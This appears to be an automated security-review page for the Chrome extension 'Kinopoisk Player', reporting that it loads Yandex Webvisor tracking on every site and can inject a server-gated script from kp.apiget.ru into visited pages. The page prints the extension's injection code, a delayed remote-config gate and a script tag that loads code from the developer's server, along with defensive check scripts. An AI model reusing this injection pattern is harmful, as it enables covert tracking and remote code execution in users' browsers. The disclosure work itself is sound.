Is Kinopoisk Player - фильмы/сериалы safe?

High risk

Kinopoisk Player injects Yandex Metrica's Webvisor session-replay tracker into every website you visit, not just kinopoisk.ru.

A content script matching every URL loads a script that starts Yandex Metrica with webvisor, clickmap, and click-tracking enabled, so mouse movement, clicks, scrolling, and page structure are captured on any site you browse, not only the extension's own movie pages. The same content script also polls the developer's own server on every page load and, depending on the server's response, can inject a second script that runs additional developer-controlled code directly in the page you're viewing.

ApiGetv16.2.3Chrome Web Store
82Risk
Who publishes it

ApiGet - 2 other listings from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
ApiGet

Same store account

2 other listings published from this account, 51k+ users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote server flag can inject vendor script into every page you visit

Code analysis shows the extension asks kp.apiget.ru for permission on every page you visit.

If the server agrees and your install is over a day old, it loads a vendor script that runs inside that page.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-829
Source
Static analysis
What actually happens
You did this

You open any website in your browser with the extension enabled.

The tab does not need to be kinopoisk.ru; the matching content script runs on *://*/*.

The extension did this

The extension asks its own server whether to add an extra script to that page.

If the server says yes and the install is old enough, a vendor-controlled script loads into the page.

What decides whether the extra script loads
  • Server's answer
    {"status":true}

    A live response from the extension's own server decides whether you get the extra script, changeable per install with no new version.

  • Install age
    129,842 seconds since install (threshold: 86,400)

    The gate only opens once the install looks more than a day old, timed to land after the initial store review window.

  • File that gets loaded
    chrome-extension://gbdfmlkiafpjocliomeeabjikgbjgian/additional_features.js

    A file already bundled with the extension is only injected into the page once the gate opens.

The code that does this

The remote-config gate

Readable version

Status check and gate (ships unminified, as shown)

background_metric.js
function get_status_ad(url, callback){var request = new XMLHttpRequest();request.onreadystatechange = function(){if (request.readyState == 4 && request.status == 200){callback(request);}};request.open('POST', url, true);var data = new FormData();request.send();}function get_ad_callback(data) {if(data.status == 200){message = JSON.parse(data.responseText);}if(message.status==true && ((new Date().getTime()/1000|0)-86400)>time_features){addMETRIC("additional_features.js");}}get_status_ad('https://'+domain_location+'/features/status.php', get_ad_callback);

The injected payload (ships unminified, as shown)

additional_features.js
let inject_features = document.createElement('script');inject_features.setAttribute('charset', 'utf-8');inject_features.type='text/javascript';inject_features.src="//kp.apiget.ru/features/link/";document.head.appendChild(inject_features);
Reproduce it yourself

Checks what the vendor's own status endpoint currently returns, and reports how much install-age budget is left before the code path that injects a script would arm, without installing or modifying the extension.

Requires
  • Node.js 18+
kinopoisk-gate-check.js · js
// Reproduces the exact check in background_metric.js's get_ad_callback,// against the extension's own status endpoint, given an install timestamp.const https = require('https');function fetchStatus(url) {  return new Promise((resolve, reject) => {    const req = https.request(url, { method: 'POST' }, (res) => {      let data = '';      res.on('data', (chunk) => (data += chunk));      res.on('end', () => {        try {          resolve(JSON.parse(data));        } catch (e) {          reject(new Error('Non-JSON response: ' + data));        }      });    });    req.on('error', reject);    req.end();  });}async function main() {  const installTs = Number(process.argv[2]) || Math.floor(Date.now() / 1000);  const url = 'https://kp.apiget.ru/features/status.php';  const message = await fetchStatus(url);  const ageSeconds = Math.floor(Date.now() / 1000) - installTs;  const gateOpen = message.status === true && ageSeconds > 86400;  console.log('Server response:', message);  console.log('Install age (s):', ageSeconds, '(threshold: 86400)');  console.log('Gate would inject additional_features.js:', gateOpen);}main().catch((e) => {  console.error('Request failed:', e.message);  process.exit(1);});
How to run it
  1. 1node kinopoisk-gate-check.js [installTimestampSeconds]
Where the extra code comes from
    • kp.apiget.ru

    The extension developer's own domain (manifest author contact is admin@apiget.ru). Decides per install, in real time, whether an extra script reaches the page you're on.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Extension breaks its own sandbox to run vendor code inside every page

Code analysis shows the extension injects a script tag that runs inside the page you're viewing, not its isolated extension sandbox, once a day-old install gets a go-ahead from the vendor's own server.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You load any website while the extension is enabled.

background_metric.js is registered for *://*/* at document_start, so it runs before the page's own code.

The extension did this

The extension appends a script tag that executes with the same access as the page's own JavaScript.

This differs from the extension's other content scripts, which stay isolated from the page they run alongside.

The code that does this

Manifest scope and the injection helper

Readable version

Content script and exposed resources scoped to every site (ships as shown)

manifest.json
"content_scripts": [  {    "matches": ["*://*/*"],    "run_at": "document_start",    "all_frames": false,    "js": ["config.js", "jquery.js", "background_metric.js"]  }],"web_accessible_resources": [  { "resources": ["metric.js"], "matches": ["*://*/*"] },  { "resources": ["additional_features.js"], "matches": ["*://*/*"] }]

The injection helper (ships as shown)

background_metric.js
function addMETRIC(url){let injectMETRIC = document.createElement('script');injectMETRIC.setAttribute('charset', 'utf-8');injectMETRIC.type='text/javascript';injectMETRIC.src=chrome.runtime.getURL(url);document.head.appendChild(injectMETRIC);}
What the isolation break changes
  • Sites this applies to
    *://*/*

    The content script that does the injecting is scoped to every site the browser loads, not only kinopoisk.ru.

  • Where the script actually runs
    <script src="chrome-extension://.../additional_features.js">

    Once appended, the tag is an ordinary page element, so it runs with the page's own JS access, not the extension's isolated sandbox.

  • Resource reachable from any site
    additional_features.js in web_accessible_resources, matches *://*/*

    The file that lands in the page is listed as web-accessible against every origin, so any site could in principle request it directly too.

Check if you're affected

Scans an unpacked extension's manifest.json for web_accessible_resources entries matched against *://*/*, the pattern that lets any website load extension-bundled files directly.

Requires
  • Node.js 18+
war-wildcard-scan.js · js
const fs = require('fs');const path = require('path');const extDir = process.argv[2];if (!extDir) {  console.error('Usage: node war-wildcard-scan.js /path/to/unpacked-extension');  process.exit(1);}const manifestPath = path.join(extDir, 'manifest.json');const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));const war = manifest.web_accessible_resources || [];let found = false;for (const entry of war) {  const matches = entry.matches || [];  const isWildcard = matches.some((m) => m === '*://*/*' || m === '<all_urls>');  if (isWildcard) {    found = true;    const resources = Array.isArray(entry.resources) ? entry.resources : [entry.resources];    for (const r of resources) {      console.log('Wildcard-exposed resource:', r, '(matches:', matches.join(', ') + ')');    }  }}if (!found) {  console.log('No web_accessible_resources entries matched against *://*/* or <all_urls>.');}
How to run it
  1. 1node war-wildcard-scan.js /path/to/unpacked-extension
Where the injected script's own payload comes from
    • kp.apiget.ru

    Receives the second script's request. That script runs inside the visited page's own JS context, so it has the same page access as the site's own scripts.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Kinopoisk Player injects Yandex Metrica tracking into every website you visit

The extension's content script runs on every website, not just Kinopoisk.

We observed it load Yandex Metrica with Webvisor session recording and send the page URL to mc.yandex.ru on an unrelated site.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You open any ordinary website while this extension is installed, not only kinopoisk.ru.

The content script runs on every URL because manifest.json declares matches: *://*/*.

The extension did this

The extension injects a script that loads Yandex Metrica and turns on Webvisor session recording for that page.

The injected script initializes Yandex counter 89888734 with clickmap, trackLinks, accurateTrackBounce and webvisor all enabled.

Captured request
GEThttps://mc.yandex.com/watch/89888734?page-url=https%3A%2F%2Fwww.example.com%2F

Confirms the Webvisor beacon reports the visited page URL for counter 89888734 on an ordinary, non-Kinopoisk site.

Data Webvisor captures on every page
  • Page URL
    https://www.example.com/

    The exact web address you're viewing is sent to Yandex on every page load.

  • Clicks and link activity
    click on <a href="/product/42">

    Webvisor records which links and elements you click across the page.

  • Time on page / bounce
    time_on_page=4.2s, bounced=false

    accurateTrackBounce measures how long you stay before leaving the page.

  • Yandex visitor ID
    _ym_uid=1757340912345678

    A persistent Yandex cookie lets the counter recognize you again on future visits.

Where the tracking data goes
    • mc.yandex.ru

    Serves the Yandex Metrica tracking script (tag.js) this extension loads into every page you visit.

    • mc.yandex.com

    Receives the Webvisor session-tracking beacon, including the visited page's URL, under counter 89888734.

Check if you're affected

Reads an unpacked copy of the extension and reports the content script's site-matching pattern plus the Yandex Metrica counter ID it initializes.

Requires
  • Node.js 18+
check_kinopoisk_metrica_scope.js · js
const fs = require('fs');const path = require('path');const dir = process.argv[2];if (!dir) {  console.error('Usage: node check_kinopoisk_metrica_scope.js <path-to-unpacked-extension>');  process.exit(1);}const manifest = JSON.parse(fs.readFileSync(path.join(dir, 'manifest.json'), 'utf8'));const broadScript = (manifest.content_scripts || []).find((cs) =>  (cs.matches || []).some((m) => m === '*://*/*'));if (!broadScript) {  console.log('No content script matching every site (*://*/*) was found.');  process.exit(0);}console.log('Content script injected on every site:');console.log('  matches:', broadScript.matches.join(', '));console.log('  files:', broadScript.js.join(', '));const metricPath = path.join(dir, 'metric.js');if (fs.existsSync(metricPath)) {  const metricSrc = fs.readFileSync(metricPath, 'utf8');  const counterMatch = metricSrc.match(/ym\(( *\d+) *,\s*"init"/);  const webvisorMatch = metricSrc.match(/webvisor\s*:\s*true/);  console.log('metric.js counter ID:', counterMatch ? counterMatch[1].trim() : 'not found');  console.log('Webvisor session recording enabled:', !!webvisorMatch);} else {  console.log('metric.js not present in this build.');}
How to run it
  1. 1Unpack the .crx into a folder (e.g. with a CRX unpacker).
  2. 2Run: node check_kinopoisk_metrica_scope.js <folder>.
  3. 3Compare the printed match pattern and counter ID to this claim.

+1 more finding not shown

What it can do

Permissions this extension asks for, as declared in version 16.2.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed Kinopoisk Player - фильмы/сериалы contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • kp.apiget.ru (developer's own server)

    Kinopoisk Player - фильмы/сериалы sends data to kp.apiget.ru (developer's own server). Named as a recipient in this extension's own analysis.

  • mc.yandex.ru (Yandex Metrica)

    Kinopoisk Player - фильмы/сериалы sends data to mc.yandex.ru (Yandex Metrica). Named as a recipient in this extension's own analysis.

Updated 30 September 2026gbdfmlkiafpjocliomeeabjikgbjgian